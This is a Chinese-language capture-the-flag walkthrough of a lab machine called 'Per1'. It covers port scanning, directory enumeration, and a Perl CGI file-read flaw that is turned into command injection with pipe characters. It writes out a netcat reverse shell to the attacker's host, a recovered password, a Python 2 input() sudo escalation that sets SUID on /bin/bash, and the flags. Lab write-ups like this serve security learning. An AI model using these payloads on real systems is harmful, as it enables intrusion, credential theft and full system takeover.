端口扫描

1
2
3
4
5
6
7
8
9
10
11
sudo nmap -p- 192.168.0.107
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 00:31 CST
Nmap scan report for 192.168.0.107
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: E6:F4:83:79:2E:CF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds

web渗透

​ 开了80和22端口,查看web页面:

image1

​ 页面是说,perl是个很优美的编程语言,并且举了一个perl代码的例子,但没有看到别的进一步渗透的信息。

​ 那就查看一下源码,发现有一个很特别的提示:

1
<div><!-- cgi --></div>

​ 看到这个cgi,很自然就想到cgi-bin这个目录,再通过询问GPT,了解到perl语言如果写cgi脚本,一般文件后缀为cgi、pl,那就拿这两个后缀名爆破一下web页面的cgi-bin目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo gobuster dir  -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -u http://192.168.0.107/cgi-bin -x cgi,pl
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.107/cgi-bin
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: cgi,pl
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/file.cgi (Status: 200) [Size: 22]

​ 发现有个file.cgi文件,去访问:

image2

​ 他说缺少file参数,想必是个读文件的cgi,那就给他/etc/passwd,为了方便,采用curl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
curl 'http://192.168.0.107/cgi-bin/file.cgi?file=/etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
sunset:x:1001:1001:,,,:/home/sunset:/bin/bash

​ 可以看到返回了/etc/passwd的内容,而且有个sunset用户是有home目录的。

​ 那接下来,可以尝试读取sunset的.bash_history、.ssh/id_rsa,但都没有结果。

​ 下一步的思路,我是想看看file.cgi这个文件本身的内容是什么,因此我得知道这个cgi-bin目录的确切路径才行。

​ 询问GPT,“perl写的cgi文件一般在linux的哪个目录下?”,GPT回答说在 /var/www/cgi-bin 或者 /usr/lib/cgi-bin,两个都尝试访问,发现file.cgi是在/usr/lib/cgi-bin之下,查看内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl 'http://192.168.0.107/cgi-bin/file.cgi?file=/usr/lib/cgi-bin/file.cgi'

#!/usr/bin/perl
use CGI;
print CGI::header();
my $input = CGI::param('file');
if($input) {
open(FILE, $input);
print while <FILE>;
close(FILE);
}
else {
print "Missing file parameter";
}

​ 由于接触perl不多,上述源代码看上去也没有直接的可利用的地方,我就询问了GPT,问他这个代码有没有危险的地方,他说 “如果文件名包含管道符 或反引号`,perl的open函数可以执行命令,例如:”

1
http://192.168.0.107/cgi-bin/file.cgi?file=|id|

​ 尝试进行命令执行:

1
2
3
curl 'http://192.168.0.107/cgi-bin/file.cgi?file=|id|' 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

​ 可以看到执行了id命令,那就进行反弹shell:

1
curl 'http://192.168.0.107/cgi-bin/file.cgi?file=|busybox nc 192.168.0.104 1234 -e /bin/bash|'

获取立足点

​ 成功反弹了shell,用python3稍微提升一下交互性:

1
2
3
4
5
6
nc -nvlp 1234

Listening on 0.0.0.0 1234
Connection received on 192.168.0.107 45342
python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@Per1:/usr/lib/cgi-bin$

​ 在/home/sunset里找到了user flag:

1
flag{user-5b5b8e9b01ef27a1cc0a2d5fa87d7190}

提权

​ 可以常规地在var、opt、home等目录里面找找信息,也可以找一下sunset这个用户的一些文件:

1
2
3
find / -user sunset 2>/dev/null

/opt/password.pl

​ 可以找到那个password.pl文件,ls看一下:

1
2
3
ls -liah /opt/password.pl

784900 -rwxr-xr-x 1 sunset sunset 893 Aug 8 09:07 password.pl

​ 是sunset拥有的文件,且该文件我们有读取权限,读一下它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
my @char_generator = (

[103, 3],
[126, 5],
[115, 7],
[98, 1],
[112, 2],
[58, 6],
[105, 4],
[122, 4],
[102, 5]
);


my @decoy_blocks = (
{values => [66, 71, 77], offsets => [2, 3, 5]},
{values => [85, 90, 95], offsets => [4, 1, 6]},
{values => [105, 110, 115], offsets => [3, 7, 2]}
);


my $output;
for my $i (0..4) {

if ($i < 3) {
my ($val, $off) = @{$char_generator[$i]};
$output .= chr($val - $off);
}

else {

if ($i == 4) {
my $noise = $decoy_blocks[0]{values}[0] - $decoy_blocks[0]{offsets}[0];

}

for my $j (($i == 3) ? (3..5) : (6..8)) {
my ($val, $off) = @{$char_generator[$j]};
$output .= chr($val - $off);
}
last;
}
}

print $output . "\n";

​ 看上去是个perl的代码,简单看一下内容也可以知道,他是在用一些简单的加密的方式输出一个密码,那就干脆找个在线的perl代码运行的网站运行一下:

1
https://www.w3cschool.cn/tryrun/runcode?lang=perl5

image3

​ 运行的结果是dylan4,这应该就是sunset的密码,切换用户(或者ssh连接):

1
2
3
4
5
www-data@Per1:/opt$ su sunset
su sunset
Password: dylan4

sunset@Per1:/opt$

​ sudo -l,发现sunset用户可以执行一个python文件:

1
2
3
4
5
6
Matching Defaults entries for sunset on Per1:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on Per1:
(ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py

​ 看一下guess_game.py的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random

def guess_game():
ans = random.randint(0, 65535)
print "Welcome to the guess game!"
print "I've chosen a number between 0 and 65535."
try:
user_input = input("Your guess: ")
except Exception as e:
print "Error:", e
return

if user_input == ans:
print "Congratulations! You guessed it."
else:
print "Wrong! The correct number was", ans

if __name__ == '__main__':
guess_game()

​ 可以看到是个python2的代码,对于这里的漏洞不太熟悉的朋友,可以问问GPT,当然也可以自己运行看一下。

​ 例如,运行之后,我随便输入了一点东西:

1
2
3
4
5
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: asd
asd
Error: name 'asd' is not defined

​ 我输入了“asd”,他说” ‘asd’ is not defined”,这里用脚后跟想都绝对有问题,他没有把我的输入当成纯字符串处理,而是当成一个python代码来看。

​ 那根据源码,他要比较我输入的东西和 ans 是否相等,那我就输入ans看一下:

1
2
3
4
5
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: ans
ans
Congratulations! You guessed it.

​ 果然,他说我猜对了,那就说明这里应该可以进行命令执行。

​ 引入os,执行系统命令:

1
2
3
4
5
6
7
sudo /usr/bin/python /usr/bin/guess_game.py

Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: __import__('os').system('chmod +s /bin/bash')
__import__('os').system('chmod +s /bin/bash')
Wrong! The correct number was 39444

​ 查看/bin/bash的权限情况:

1
2
3
ls -liah /bin/bash

263242 -rwsr-sr-x 1 root root 1.2M Apr 18 2019 /bin/bash

​ 可以看到已经加了s权限,用/bin/bash -p提权就好了:

1
2
3
4
5
6
7
8
sunset@Per1:/opt$ /bin/bash -p
/bin/bash -p
bash-5.0# whoami
whoami
root
bash-5.0# cat /root/root.txt
cat /root/root.txt
flag{root-c27679de03aba03c5a33159aef11f8ea}